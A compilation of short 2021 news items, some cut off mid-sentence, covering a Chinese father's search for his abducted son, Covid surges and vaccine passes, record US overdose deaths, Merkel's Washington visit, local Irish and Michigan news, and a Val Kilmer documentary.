Still, the threat of abduction continues to weigh on many Chinese. On Monday, several police departments in the eastern city of Hangzhou issued statements denying viral rumors about attempted kidnappings.

Mr. Guos son, named Guo Xinzhen at birth, disappeared on Sept. 21, 1997. He had been playing at the door of his home while his mother cooked inside, according to interviews the elder Mr. Guo has given over the years.

A frantic Mr. Guo and his wife, along with family, neighbors and friends, fanned out across the region to search for the boy. But after several months, the effort waned. That was when Mr. Guo attached large banners printed with his sons photo to the back of a motorcycle and set out to find the boy on his own.

Son, where are you? the banners said, alongside an image of the boy in a puffy orange jacket. Dad is looking for you to come home.

Over the years, Mr. Guo wore out 10 motorcycles, traveling from Hainan in the south to Henan in the north, chasing down any tidbits of information, he has said. Once, on a rainy day, a rock slipped off a truck bed in front of him, sending his motorcycle toppling. He had so many near-miss traffic incidents that he lost count. But he always set out again.
ISLAMABAD, Pakistan  At least nine Chinese nationals were killed in Pakistan on Wednesday when their bus fell into a ravine after an explosion, officials said.

Two Pakistani paramilitary soldiers and one Pakistani laborer were also killed, local officials said, and 41 others were wounded. At least some of the Chinese passengers were engineers working at a hydroelectric project in Dasu, an area in the countrys rural northwest.

The exact cause of the explosion was not immediately clear. In a statement, Pakistans foreign affairs ministry said the bus had fallen into the ravine after a mechanical failure resulting in leakage of gas that caused a blast. It said an investigation was underway.

Chinas embassy and a spokesman for the Ministry of Foreign Affairs initially described the explosion as a bomb attack but later modified their statements to leave open the possibility of an accident. The embassys statement called for a thorough investigation and warned Chinese citizens in Pakistan to be vigilant and to go outside only if necessary.
But there is much work to be done to restore relations. Most of all, Ms. Merkel would like to return stability and trust to the relationship and buffer it from what many in Europe now fear may be episodic disruptions tied to U.S. elections every four years.

The concern is that, realistically, there could again be some other administration in the U.S. that might come back to what we saw during Trump, said Peter Beyer, Germanys coordinator for trans-Atlantic affairs.

The question has been discussed and many people have worked their brains over how we can make the U.S.-German relationship so resilient, so strong that it will not fall back to that, he said.

First, substantive differences between the nations  over a new Russian natural-gas pipeline to Europe, over whether to embrace or contain a rising China and over how to manage the coronavirus pandemic  will have to be navigated.

In choosing the chancellor as the first European leader to visit the White House since he took office, Mr. Biden is making it clear that the invitation is about more than allowing Ms. Merkel a victory lap while she picks up an honorary doctorate from Johns Hopkins  to add to those she has already received from Harvard and Stanford.
ROME  Pope Francis returned to the Vatican on Wednesday after a 10-day hospital stay, a development that was welcome news for his followers who had been caught off guard by word that he had required colon surgery.

Yet the collective sigh of relief was tempered by questions of whether popes health problems will slow him down or accelerate discussion on issues that he has asked his church to consider, such as married priests, the role of women in the church, the embrace of gay Catholics and Communion for the divorced and remarried.

The Vatican has said that his surgery on July 4 was a scheduled operation. But the unexpected announcement that the 84-year-old pope had been hospitalized alarmed many of the faithful because of the seriousness of the surgery and the Vaticans history of obfuscation when it comes to the health of pontiffs.

On Wednesday, the pope sat in the front seat of a Ford Focus as it arrived outside the Vatican walls, where he greeted the soldiers who keep watch and the police officers who had escorted him from the hospital, before getting back into the car. He then entered the Vatican through a side door near the guesthouse  the Casa Santa Marta  where he has lived for the past eight years, and was saluted by the gendarmerie.
Indonesia reported more than 54,500 coronavirus cases on Wednesday, its third record daily rise in a row as the country has surpassed Indias current daily caseload.

A seven-day rolling average of daily cases in the two countries showed them running neck and neck, but Indias caseload has been steadily declining while Indonesias has been skyrocketing, according to data collected by the Center for Systems Science and Engineering at Johns Hopkins University.

Over the past few weeks, hospitals on Java island have overflowed with patients and residents have scrambled to buy medical oxygen to treat family members at home. Hundreds of people have been reported to have died of the virus at home because of a lack of oxygen and as a result of an overwhelmed health care system.

Based on the last three days data, I can say clearly that Indonesia has become the new epicenter in the world, said Dicky Budiman, an Indonesian epidemiologist at Griffith University in Australia, who has long urged the Indonesian authorities to implement firmer measures to control the spread of the virus.
As Covid raged, so did the countrys other epidemic. Drug overdose deaths rose nearly 30 percent in 2020 to a record 93,000, according to preliminary statistics released Wednesday by the Centers for Disease Control and Prevention. Its the largest single-year increase recorded.

The deaths rose in every state but two, South Dakota and New Hampshire, with pronounced increases in the South and West.

Drug overdose deaths in the U.S. Source: Centers for Disease Control and Prevention

Several grim records were set: the most drug overdose deaths in a year; the most deaths from opioid overdoses; the most overdose deaths from stimulants like methamphetamine; the most deaths from the deadly class of synthetic opioids known as fentanyls.

Its huge, its historic, its unheard-of, unprecedented, and a real shame, said Daniel Ciccarone, a professor of medicine at the University of California, San Francisco, who studies heroin markets. Its a complete shame.

In recent years, annual drug overdose deaths had already eclipsed the peak yearly deaths from car crashes, gun violence or the AIDS epidemic.

The death toll from Covid-19 surpassed 375,000 last year, the largest American mortality event in a century, but drug deaths were experienced disproportionately among the young. In total, the 93,000 deaths cost Americans about 3.5 million years of life, according to a New York Times analysis. By comparison, coronavirus deaths in 2020 were responsible for about 5.5 million years of life.

The pandemic itself undoubtedly contributed to the surge in overdose deaths, with disruption to outreach and treatment facilities and increased social isolation. Overdose deaths reached a peak nationally in the spring of 2020, in the midst of the pandemics most severe period of shutdowns and economic contraction. But public health experts said there had been a pre-pandemic pattern of escalating deaths, as fentanyls became more entrenched in the nations drug supply, replacing heroin in many cities and finding their way into other drugs like meth.

After decades of increases, overdose deaths dipped slightly in 2018. But they resumed their upward course in 2019, and drug deaths were rising in the early months of 2020, even before Covid arrived.

Change in drug deaths from 2019 Source: Centers for Disease Control and Prevention  Note: Monthly drug deaths are based on provisional data and may not add up to the annual total.

We went into Covid with this issue, said Regina LaBelle, the acting director of the Office of National Drug Control Policy. Rates of overdose death were going up; they were on the upswing. Certainly, Covid didnt help and likely exacerbated things, but we were seeing an increase before.

On Tuesday, President Biden nominated a permanent director for the post, sometimes called the drug czar. The nominee, Dr. Rahul Gupta, a physician and the chief medical and health officer for the March of Dimes, was the former commissioner of public health in West Virginia, a state with one of the sharpest rates of increase in drug deaths last year.

Jose Benitez, the executive director of Prevention Point Philadelphia, said the continuing mixing of heroin and other drugs with fentanyls had driven up the overdose rate there. But he also noted the effects of the pandemic. His group, which provides services to people who use drugs, saw appointments drop by about 20 percent. Some of their funding was diverted to support Covid services.

He also said that Covid public health warnings about social distancing ran counter to the advice given to opioid users. If people are going to use drugs, theyre encouraged to use them around others, so someone can revive them if they overdose. The messages were mixed at best, he said.

Mr. Benitez said the last year had been hard on his staff. It was not uncommon for two clients to die every week. I was a social worker during the AIDS era, he said. This is, in lots of ways, almost a repeat of that.

The C.D.C. will provide final estimates in a few months (overdose death investigations depend on toxicology reports and other testing that take time). No region was spared from the increased death toll. In the Northeast and Midwest, where the opioid epidemic was most acute in earlier phases, deaths continued to rise. But the biggest increases were in the South and the West, regions that had been less afflicted.

Rising deaths in the West, in particular, suggest a possible new phase in the epidemic. The national rise in deaths in recent years has been attributed in part to the introduction of fentanyls, which are easier to manufacture and ship than traditional heroin. Fentanyls began regularly appearing in the East Coasts heroin supply in the last seven years, where they were easy to mix with the most common type of heroin, also a white powder. Overdoses of fentanyls, with their high yet variable potency, tend to be more common than overdoses of traditional heroin.

In the West, where most heroin is sold as a stickier substance known as black tar, fentanyls had been less widespread. Researchers examining the drug supply there say they are seeing more fentanyls sold as counterfeit pills, or sold alone as an injectable drug. An increase in overdose deaths involving both meth and fentanyls suggests fentanyls have begun penetrating the stimulant supply, too.

Weve seen a westward expansion of fentanyl, said Christopher Jones, the acting director for the National Center for Injury Prevention and Control. That just increases the pool of people who are susceptible to overdoses.

It appears that the pandemic may have briefly interrupted the flow of fentanyls from China into the United States. Chad Sabora, the executive director of the Missouri Network for Opiate Reform and Recovery, and a consultant to the government, said the drug supply in St. Louis was altered for more than a month. Then, a huge influx, he said. Peoples tolerance had gone down, and boom.

White Americans were hit particularly hard in the early years of the opioid epidemic, but in recent years deaths have been growing fast in nonwhite populations. In 2020, overdose deaths grew faster in Black and Hispanic populations than in white ones.

The trend may reflect the growing reach of fentanyls, which are now often found mixed with stimulants like cocaine and meth. They are reaching groups that were less likely to become addicted to prescription painkillers earlier in the epidemic. The stresses of the Covid pandemic have also affected Black, Latino and Native Americans disproportionately, with the potential to affect patterns of drug use.

The pandemic has been far more disruptive in communities of color than in white communities  the death rates, the infection rates, the unemployment rates, the food insecurity rates, said Joshua Sharfstein, a vice dean at the Johns Hopkins Bloomberg School of Public Health. So many consequences of the pandemic have hit communities of color harder. So its not out of line for overdoses to do the same.

Politicians, public health officials and clinicians have been battling the opioid epidemic for years. In 2018, Congress passed a package of bills meant to reduce the death toll by limiting overuse of prescription drugs and improving access to drug addiction treatment. And early this year, Congress allocated an additional $1.5 billion to fight the epidemic.

The pandemic brought some changes in addiction policy that may have saved lives. Temporary changes have made it easier for people enrolled in methadone treatment to take doses home with them, instead of requiring them to visit a clinic each day. Ms. LaBelle said more people in drug treatment had stayed enrolled as a result. Regulators also made it easier for people to seek medical care through telemedicine, another policy that may be extended beyond the Covid emergency. For the first time, federal funds (from the recent stimulus bill) can be used to buy needles and syringes for exchange programs, and to purchase rapid fentanyl test strips, which can be used to check whether drugs contain fentanyl.
Banner Public Affairs launches BannerAI, an artificial intelligence platform intended to boost the agencys ability to pair reporters and stories. The platform combines IBM Watson and AI Natural Language Processing to analyze a database of articles from key reporters and news outlets. The agency says that BannerAI can find clear connections between keywords, outlet, title and reporter, helping its PR experts discover prominent insights and recommendations for clients. By analyzing thousands of stories and providing actionable data, the AI tool allows our PR professionals to find the perfect reporters and outlets to cover our clients stories, said Banner partner Brett Thompson.

ChangeDigital, a company that provides progressive candidates with the tools they need to build an online presence, engage communities and raise money online, launches. The platform allows candidates (even those with no digital experience) to create a multi-channel digital campaign, including a website, social media graphics and fundraising email, in less than 72 hours. ChangeDigital was founded by Patricia Nelson, who most recently served as digital director to Andrew Yangs 2020 presidential campaign, and Giovanna Salucci, who was recently digital director for the Florida Democratic Party and For Our Future FL, a joint super PAC and action fund. Our overall goal is to democratize running for office and demystify digital platforms, allowing down ballot campaigns to use their limited resources more efficiently, said Nelson.

Franklin Madison, which provides insurance marketing and data services, launches direct marketing agency FM Engage. The agency will employ a comprehensive data modeling and scoring approach to help companies connect with consumers. It will work with direct-to-consumer insurance companies, insurtechs and other large organizations that offer insurance. Franklin Madison senior vice president of client success and sales Andrea Heger says that the new agency will help the company expand our services to more companies and continue to drive real results."
A man who did not pay his bill at a hotel in the Midlands has been sentenced to six months in prison.

Andrew Cash, 30, of Kilbarry Cottage, Old Manor, Cork was charged with making off without payment at the Heritage Hotel in Portlaoise between March 26 and March 31 2018.

Portlaoise court heard that Mr Cash checked into the Heritage Hotel. He left without paying his bill of 1,181.

Defence Solicitor Josephine Fitzpatrick said it was a credit card issue. He had the money in court on a previous date, but it had not been accepted by the State.

Ms Fitzpatrick said that he was originally from Dublin but had moved to Laois in 2018.

He was currently serving a sentence for dangerous driving. He will have work upon his release with a colleague.

Ms Fitzpatrick said the hotel in question was no longer in being. It was now the Midlands Park Hotel. Judge Staines suggested the reason it may have gone out of business was because of unpaid bills.

Ms Fitzpatrick said Mr Cash was doing well in prison. He was on an alcohol rehab programme.

He had a number of previous convictions but they were historic.

Judge Staines sentenced him to six months in the Midlands Prison Portlaoise.
MANY fully vaccinated people in Offaly have already received their digital Covid-Passport which will allow them access into pubs, restaurants and cinemas. They will also be able to travel to other EU countries for non essential journeys.

Restaurant owners in Tullamore are cautiously welcoming the move and feel it's a step in the right direction.

Aris Soysal of Captain House and Pizzeria Del Capitano on Main Street, said he is happy his restaurants will finally be able to open again after one and a half years of closures.

''It was a long time to be closed and it will be brilliant to get back to normal,'' said Aris.

He says he is sure he will get one or two people trying to get in without a certificate but believes he will cope. However, so far he has had no contact from any government department to tell him how the initiative will work day to day. ''You know as much as I do,'' said Aris.

Paul Bell at the Brewery Tap said, ''at this stage we will do anything to reopen. It will be difficult to manage especially if a group of four or five people show up and one doesn't have a certificate. It's not ideal and we will have to provide staff for security but it's a stepping stone, '' said Paul.

He does have some difficulty with the length of time people will be allowed to stay per visit which is just 105 minutes. He also says some of his staff remain unvaccinated. But generally Paul is happy to be reopening in the near future. Up to now he has been providing outdoor dining which he describes as having been '' phenomenally successful.''

At the Townhouse in Tullamore, staff member Enda Kelly says staff, ''will just get on with it. ''

Enda says he has no doubt that some people will chance their arm and try to gain access to the restaurant without being fully vaccinated and he is unsure how that will be handled as they don't want an argument at the door. Like other restaurants the Town House has been serving food outdoors and is very popular with patrons, but Enda says it is very much weather dependent. He says ''people don't want to sit outside if it's raining which is very understandable. ''

Meanwhile, Laois Offaly TD Carol Nolan has appealed to President Michael D. Higgins not to sign the government proposed legislation on vaccine passes for the hospitality sector.

Deputy Nolan was speaking after Cabinet signed off on the ''controversial proposals.''

The Rural Independent Group, of which Deputy Nolan is a member, is instead to bring forward a private members motion in the Dail today Wednesday July 14, calling on government to allow businesses to reopen without what it describes as the discriminatory vaccine system as a mandatory requirement:

President Higgins, in his former life as a respected parliamentarian, was always to the forefront in calling out instances of major political injustices. To our minds this proposed system is just such an instance and it must be resisted if our motion is opposed and the legislation is pushed through on foot of the government's majority in the Dail.

President Higgins has the capacity to refer the Bill to the Council of State for deliberation and indeed the Supreme Court to verify its constitutionality. I believe this is what he should do.

This is a profoundly new and dangerous departure in terms of Irish legislation.

Our private members motion calls on government not to abandon all restrictions, but merely to allow hospitality businesses across the State to responsibly carry on their trade and to allow attendance at sporting and religious events, subject only to non-discriminatory limitations as are necessary and proportionate in the interests of public safety.

By no stretch of the imagination can the system proposed by government be seen as non-discriminatory or proportionate. It is irredeemably discriminatory in the most negative sense.

It is also coercive and controlling.

In fact, it is not just bad law, it is a contorted and twisted version of what a good law should be.

For those reasons I believe it is vital that President Higgins does not rush to sign the legislation that will be brought before him.

The government has the option, if it can generate the political will, to take the road we are proposing and simply allow businesses, sporting events and religious places of worship to re-open without recourse to a complex, time-consuming and deeply unethical system of state surveillance of peoples private medical status, concluded Deputy Nolan.
Saikou Amadou Tidiane Diallo recalled the day he decided to act against climate change. It was on his birthday, almost three years ago.

I had heard about pollution in the media. They were talking about the importance of trees in the fight against global warming. From then on, I started noticing that when I was under a tree it did not feel the same as when I was in the street, Diallo said. Trees give us shade and cool air that I could not find anywhere else.

In November 2018, Diallo created the One birthday, one tree challenge. He planted a Flame Tree (Flamboyant) in Kakimbo forest, a few miles north-east of Conakry, Guineas capital. That same month, he created his NGO, Agir contre le rechauffement climatique, Acting Against Climate Change.

I used to completely ignore the consequences of my actions on the environment. When I drank from a sachet of water, for example, I would discard it on the floor. My wife and I would use a lot charcoal for cooking, and when I got home, I would turn on the lights even during the day. I was unaware of the importance of trees, Diallo said.

In June this year, Diallo and his organization won second place out of 3,000 applicants to the African Ecology Awards held in Abidjan, Cote dIvoire, in the personal commitment, associations and cooperatives category. In 2020, the organization raised awareness about climate change in 50 schools in Conakry and, with the help of participants across Guinea, planted over 2,000 trees during the Muslim feast of Eid al-Adha, also known as Tabaski in West Africa. Diallo and his wife now use gas for cooking, despite its financial cost to their household.

Creating unique synergies to advance the right to development

Diallos home country, Guinea, recently hosted the third in a series of discussions on the right to development, also known as the Hernan Santa Cruz Dialogue, under the patronage of President Alpha Conde and in collaboration with UN Human Rights. UN Human Rights launched the first Hernan Santa Cruz Dialogue in 2020 as a new platform for opinion leaders and policy makers to exchange progressive ideas, experiences and practices on economic and social rights, the right to development and the Sustainable Development Goals, linking them to contemporary challenges.

The dialogue is named after Hernan Santa Cruz, a Chilean diplomat who was an early architect of the UN human rights system. He was also one of the drafters of the Universal Declaration of Human Rights and helped to ensure the inclusion of economic and social rights in that seminal document.

Hernan Santa Cruz was right to insist on economic, social and cultural rights alongside civil and political rights. We need all human rights based on the human being as actor and beneficiary, solidarity, equity, sovereignty and self-determination of peoples, Guineas President, Alpha Conde, said in his opening remarks.

One of the themes under discussion at this years conference was the link between the right to development, climate change and environmental protection. In 1992, the Rio Declaration on Environment and Development recognized that the right to development was central to equitably meeting the developmental and environmental needs of present and future generations. The Declaration further stated that the special situation and needs of developing countries, particularly the least developed and those most environmentally vulnerable, should be given special priority.

Guinea has been playing a central role in the international arena in relation to the right to development. It currently holds the presidency of the G77+China group, and it is the first country to initiate a pilot project on the operationalization of the right to development. Guinea is home to rich ecosystems and abundant natural resources, which are critical to peoples livelihoods. It was the second country, after Mali, to ratify the first legally binding agreement enshrining that right, the African Charter on Human and Peoples Rights. The Charter recognizes that All peoples shall have the right to their economic, social and cultural development with due regard to their freedom and identity and in the equal enjoyment of the common heritage of mankind (Article 22), and that All peoples shall have the right to a general satisfactory environment favourable to their development (Article 24).

The first Hernan Santa Cruz Dialogue took place in Sudan in 2020. The series will run until 2030. The conference in Guinea adopted a series of recommendations to promote the right to development internally and globally, including through South-South cooperation.

Adopting a rights-based approach to sustainable development to counter crises

The conference also took place at a time when the response to the COVID-19 pandemic, including the distribution of vaccines, has shown a growing North-South divide. The response to the COVID-19 crisis presents an opportunity to support improved social protection measures, advance efforts to fulfil human rights, realize the Sustainable Development Goals, and promote ambitious environmental action.

Opening the Hernan Santa Cruz Dialogue in Conakry via video message, UN Human Rights Chief, Michelle Bachelet, said that the pandemic has important lessons to teach.

In every country and region, it has demonstrated that advancing the right to development, and fixing the root causes of poverty, inequalities, health and social crises and environmental degradation will promote the broader goals of peace, justice and sustainable development, she said. These measures can be supported with steps to expand fiscal space, including by combatting corruption. By ensuring a just transition to a sustainable economy, such policies invest in the well-being and dignity of the people  surely the best investment of them all.

UN Human Rights has been supporting rights-based action for people and planet in Guinea, including a human rights-based approach to the COVID-19 response and supported the effective enjoyment of economic, social and cultural rights, the right to a healthy environment and the right to development in the context of extractive industries and mining.

Bachelet commended Guinea for including the right to a healthy environment in its Constitution, and further encouraged the country to take measures to effectively promote that right as a key factor in fulfilling the promise of sustainable development, as well as implement laws and regulations that are grounded in human rights to help address challenges resulting from climate change, soil erosion and extractive industries.

The grandson of Hernan Santa Cruz, Maximiliano, gave introductory remarks to the conference, recalling his grandfathers mission: uniting all humanity in a spirit of solidarity, in dignity and rights.

His mission to advance better standards of life in larger freedom is ever more significant for the people of Guinea, as for people everywhere, Maximiliano Santa Cruz added. Improving income and human assets and overcoming economic and environmental vulnerability can contribute decisively to the enjoyment of all human rights to the peoples  men, women and children - of this and other least developed countries.

14 July 2021
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Calls for Re-establishment of the Expert Group on Gaming Have Spread from EGBA to Member States

Published July 13, 2021 by Lee R

The EGBA's endorsement of the Expert Group on Gaming now is being supported by member states.

As iGaming proliferates across European jurisdictions, a gap has arisen in cooperation as the only obstacle to streamlined integration.

The New Support

That is the reason 14 key EU Member States seeking specialised support of cooperation between the gambling authorities of each EU member state are calling for the EU to re-establish the Commission-mandated Expert Group on gambling.

EGBA Initiative

Announced via webinar by Dutch Gambling Authority Chairperson Rene Jansen, the call for coordinating approaches and techniques for regulating Europes gambling market supports the ongoing position of key European iGaming trade body European Gaming and Betting Association (EGBA).

Previous Work

In its previous avatar, the Expert Group platform enabled gambling regulators to exchange information, share best practices and work together on joint initiatives. A key initiative the original expert group implemented was the European Commissions 2014 Recommendation on consumer protection in online gambling.

Surprise Disbandment

Consisting of representatives from EU gaming authorities, the group was well-received and considered a successwhich is why the Commission's disbanding of the group in 2018 came as a surprise.

EU Market Framework

With the worth of the massive European market estimated at 100 billion each year, the absence of the Expert Group means that no framework for regulatory cooperation at EU-level exists.

EGBA's Calls

The EGBA has been calling for reinstatement of the group for Expert Group for quite some time, so this group of member states coming out in support of formal regulatory cooperation between jurisdictions is a game-changing development.

EGBA Position

EGBA Secretary General Maarten Haijer explained his organisation's position further, saying that most of the issues facing Europe's online sector are cross-border in nature and require common solutions.

The Call

Haijer further established his take on the new unified message from the 14 member states:

The message to the European Commission is clear: both gambling regulators and the sector itself are united in support of the Expert Group and call upon the Commission to reinstate the Expert Group.

Outlook

In the booming European iGaming market, the correction of this one oversight through re-establishing the Expert Group could result in accelerated growth, expansion, and adaptation of regulation across all European iGaming markets and beyond.
Laxman Pai, Opalesque Asia:

PGIM, the global investment management business of Prudential Financial with $1.5 trillion in assets, agrees to acquire Montana Partners (MCP), a European-based private equity secondaries asset manager, to enhance PGIM's existing alternatives offering.

MCP, with $3 billion under management, focuses on secondaries transactions in small- and mid-cap markets, with investors in Europe, Asia, and the U.S. that include sovereign wealth funds, pension funds, insurance companies, banks, and family offices. It has raised five funds to date.

According to a press release from the asset management firm, the transaction, which is expected to close in Q3 2021 and remains subject to receipt of all regulatory approvals, will see MCP join PGIM's multi-manager structure under the oversight of the president and chief executive of PGIM Real Estate Eric Adler.

MCP's co-founders Dr. Christian Diller and Dr. Marco Wulff will continue to manage the business and serve as co-chief executive officers. The investment team will remain based in Switzerland.

"PGIM's multi-manager model is based on the belief that highly specialized investment teams with expertise in an asset class allow us to remain focused on delivering investment outperformance on behalf of our clients," said David Hunt, president, and chief executive officer of PGIM. "Montana Capital Partners' deep expertise in private equity secondaries, coupled with its strategic and cultural alignm......................

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Sher Kumbher (Born 29/08/1996) is A Successful Pakistani Musical Artist, Blogger, and Entrepreneur. Sher Kumbher Established Fame as a Successful Blogger, and Entrepreneur from Sindh, Pakistan. He is best known for his Instagram Model and Instagram content maker. As The Young Artist Grows Up, He Himself Has a Great Follower Network on The Fun Instagram Platform and Makes His Fans Laugh Commitment to Growing Up His Platform and Properly Distributing and 
Graveside services for Paulette West will be held at 10:00 am, Wednesday, July 21, at Silent City Cemetery in Monroe; followed by a memorial service at 11:00 am, at Church of the Nazarene in Pella.
The Ottumwa School Board approved the sale of the construction trades home at 1230 S. Sheridan Ave. during Monday's meeting. The funds from the sale, as well as two separate $100,000 grants, will help fund the program moving forward as it partners with Indian Hills Community College.
ORLANDO, Fla. (AP)  Facing criticism from small cities that feared losing status and funding, the federal government said Tuesday that it wont raise the population threshold for what qualifies as a metro area.

The Office of Budget and Management said it will keep the minimum population needed in a community's core city at 50,000 residents in order to be designated a metropolitan statistical area," also known as an MSA.

The federal government had been considering doubling that threshold to 100,000 people. Under that earlier proposal, 144 cities with core populations of 50,000 to 99,000 were at risk of becoming micropolitan statistical areas" instead. The proposal would have changed the designation of more than a third of the current 392 MSAs.

Leaders of metro areas like Bismarck, North Dakota; Cheyenne, Wyoming; and Auburn, Alabama, had worried the change would cause real harm, preventing urban areas from getting designated federal funding and making them less attractive for economic development.

That is great news! said Alex McElroy, executive director of the Southeast Metropolitan Planning Organization in Cape Girardeau, Missouri, when told of Tuesday's decision. Overall, its a great designation to have because you get a lot more attention from the federal government with that designation.

Sens. John Thune, a Republican from South Dakota, and Mark Kelly, a Democrat from Arizona, introduced legislation in June that would have stopped the Office of Budget and Management, also known as the OMB, from making the change.

The fact that the OMB will not be pursuing the change at this time will ensure that essential community services, funded by various federal agencies which consider population size and MSA status, will continue into the foreseeable future," said Bismarck Mayor Steve Bakken. We are very grateful the current threshold will remain in place at 50,000 people."

Federal statisticians who originally had recommended the change said it was long overdue, given that the U.S. population has more than doubled since the 50,000-person threshold was introduced in 1950. Back then, about half of U.S. residents lived in metros; now, 86% do.

The committee of federal statisticians that made the recommendation said Tuesday that it would now support putting it on hold pending additional research and outreach to municipalities and others.

Updates to these standards are considered every decade. Even though the proposal was made during the Trump administration, and put on hold in the Biden administration, statisticians say any changes to the standards aren't based on politics.

Of the 734 public comments the Office of Budget and Management received about the proposed change, 97% opposed it, the agency said Tuesday in a notice of its decision.

Of the commenters who did cite a rationale for their opposition, almost all cited a non-statistical rationale, such as concerns about loss of federal or other funding; concerns about other programmatic consequences; and concerns about economic development for individual areas that would be reclassified from metropolitan to micropolitan," the notice said.

Officials in places like Corvallis, Oregon, need more resources, not fewer, as residents look to them to solve everyday problems, said Patrick Rollens, a spokesperson for the city that is home to Oregon State University.

I think this is an acknowledgement that cities, particularly small to medium-sized metros, are punching above their weight in terms of the issues they tackle and the expectations of the communities they serve, he said.

___

Follow Mike Schneider on Twitter at https://twitter.com/MikeSchneiderAP
Midland County saw an uptick in COVID-19 cases this past week, and Midland County Health Officer Fred Yanoski encourages the community to remain vigilant.

We anticipated that summer would be a better spot with more folks being outdoors and more folks vaccinated, period. However, theres still vulnerable people, so we cant assume that theres no disease in the community and no risk for COVID-19," Yanoski said.

Midland Countys COVID-19 case count increased by 22 since Tuesday, July 6. Yanoski also reported that one case of the Delta variant has been recorded in recent weeks. He explained that the cases recorded in the past week are from unvaccinated individuals and that there are no recorded cases of the Delta variant affecting those who are vaccinated.

This is a situation where we learn more every day, Yanoski stated. Were constantly collecting the data. At this point, the vaccine is very effective against the variant.

While interest in receiving COVID-19 immunizations has slowed significantly, the Midland County Health Department and MidMichigan Health are concentrating on smaller events to provide the vaccine. One such vaccine clinic will take place 8 a.m.-7 p.m. Saturday, July 17 at the Dow Great Lakes Bay Invitational at the Midland Country Club.

Those receiving the vaccine at Saturday's clinic will receive a $20 voucher good for two lawn tickets to a 2021 Great Lakes Loons home game. The voucher can be also be upgraded to box seats or used for a future game. The Pfizer, Moderna and Johnson & Johnson vaccines will be available at Saturdays clinic. No appointments are necessary.

Yanoski emphasized that it doesnt matter where individuals receive the vaccine, whether it be at a public clinic, at a hospital, the health department or a doctors office.

The important thing is youre seeking a vaccination as soon as you can at the most convenient place, Yanoski said.

Weekly COVID-19 numbers

Midland County: 22 cases were added; pandemic total is 6,884 cases, 718 probable, 91 deaths and three probable deaths.

Bay County: 11 cases were added and one death was subtracted; pandemic total stands at 10,603 cases, 673 probable, 340 deaths and 14 probable deaths.

Gladwin County: three cases were added; pandemic total stands at 1,923 cases, 385 probable, 57 deaths and four probable deaths.

Isabella County: no cases were added; pandemic total stands at 5,403 cases, 942 probable, 95 deaths and five probable deaths.

Saginaw County: 18 cases and four deaths were added; pandemic total stands at 20,054 cases, 1,371 probable, 608 deaths and 21 probable deaths.

The state added 1,322 cases and 57 deaths since last Tuesday. Overall, Michigan is at 896,717 cases and 19,832 deaths.

Recovered

According to the Midland County Health Department website, which was updated on Tuesday, July 12, 6,820 Midland County individuals have recovered from COVID-19. Gladwin County reported on Friday, July 9 that it has a total of 1,773 recovered cases. The state reported that as of July 9, a total of 870,140 persons have recovered.

Testing

Midland Countys seven-day rolling positivity rate on July 11 was listed at 2.6% and Gladwin County was listed at 1.8%. Our 12-county region is listed at 1.7% and Michigan is at 1.9%.

MidMichigan Health statistics

As of Monday, July 12, MidMichigan Medical Center in Midland was listed as having a 77% bed occupancy with two COVID patients and none in the ICU. MidMichigan Medical Center in Gladwin was listed as having a 19% bed occupancy with no COVID patients and none in the ICU.

Regarding PPE supplies, the Midland hospital reported 15-30 days for N95 mask; 15-30 days for surgical masks; 30-plus days for surgical gowns; 15-30 days for exam gloves and 30-plus days for eye protection as of Monday, July 12. The Gladwin hospital reported 30-plus days for all of the above supplies.

Midland County vaccinations

In Midland County, 40,635 people have been fully vaccinated against COVID-19 as of July 11. That means about 48.75% of Midland County's population has been fully vaccinated. Currently, the vaccines are not authorized to be given to those under age 12.

Future COVID-19 vaccine clinics in Midland County are listed at https://www.co.midland.mi.us/HealthDepartment/COVIDVaccineInformation.aspx. Those with questions may call 989-832-6380 or email MCDPH@co.midland.mi.us.




LITTLE ROCK, Ark. (AP)  What police initially thought was a fatal officer-involved shooting of an armed man outside a Little Rock hospital emergency room turned out to be a self-inflicted shooting, the state medical examiner said Tuesday.

The shooting happened Monday afternoon outside of the University of Arkansas for Medical Sciences hospital, Arkansas State Police said.
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The City of Midland invites community members to join its Planning department staff for a Midland Moves stroll through the Plymouth Park neighborhood on Thursday, July 22 as an interactive part of the Midland City Modern master planning process.

During the 0.63-mile walk, attendees are encouraged to share what they see, feel, and experience and discuss their visions for the future of the community. Topics will include heathy neighborhoods, walkability, building accessibility, and the impact that design has on livability, home values, safety, the environment, and social connections.
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Spencer McKee is OutThere Colorado's Director of Content and Operations. In his spare time, Spencer loves to hike, rock climb, and trail run. He's on a mission to summit all 58 of Colorado's fourteeners and has already climbed more than half.
Port Louis, Mauritius (PANA) - The Mauritian tourism industry, one of the pillars of the islands economy, is doing badly with declining numbers of holidaymakers visiting the island from January to June 2021, compared to the corresponding period in 2020, according to Statistics Mauritius
Port-Louis, Mauritius (PANA)  Mauritian Prime Minister Pravind Jugnauth on Tuesday told Parliament that 585 foreigners whose tourist/business visas have expired as well as 2,294 expatriate workers are "missing" in the island
Lome, Togo (PANA) - Togo's National Alliance for Change (ANC) on Tuesday suspended its participation in the work of the National Concertation of Political Actors (CNAC), calling for a "thorough clean up of the electoral framework", said the opposition party in a letter to the Minister of Territorial Administration, a copy of which was sent to PANA in Lome on Wednesday
CANNES, France (AP)  Val Kilmer was in movies he wasnt in.

The new documentary Val, bursting with footage Kilmer shot himself over his 61 years, includes home videos and backstage glimpses, as you might expect. But the most remarkable thing is seeing Kilmers own audition tapes of himself. Its not just a few scenes here and there. They capture Kilmer living in parts  including some he never got to (officially) play.

Theres footage of him as Henry Hill in Goodfellas. Hamlet he privately tackled for years. He was so consumed with being in Stanley Kubricks Full Metal Jacket that Kilmer had a friend shoot him, in combat gear, trudging through a California swamp. In another clip, he shoots live rounds in the backyard.

Im a firm believer in magical realism ON and OFF the screen, said Kilmer in an interview over email. The transformation and/or manifestation of each character is really just PRAYER."

Val, which a24 will open in theaters July 23 and Amazon Prime will debut Aug. 6, made its recent premiere at the Cannes Film Festival. Here in France to celebrate the occasion were his children, Mercedes and Jack Kilmer, and the directors Ting Poo and Leo Scott. Kilmer, who has difficulty speaking after throat cancer and numerous trachea surgeries, wasnt able to attend.

But exchanging words over email from Los Angeles, Kilmer said he was feeling blessed and grateful as Val made its anticipated arrival. For years, the hours of tapes had just sat in boxes. But losing his voice has made Kilmer only want to tell his story  a boundless life of full-hearted abandon  all the more.

Kilmer, himself, tends to view his life with mystical harmony and a sense of destiny. That the documentary happened  through a confluence of people and events  he says is once in a lifetime.

I should KNOW, said Kilmer. Its my L I F E.

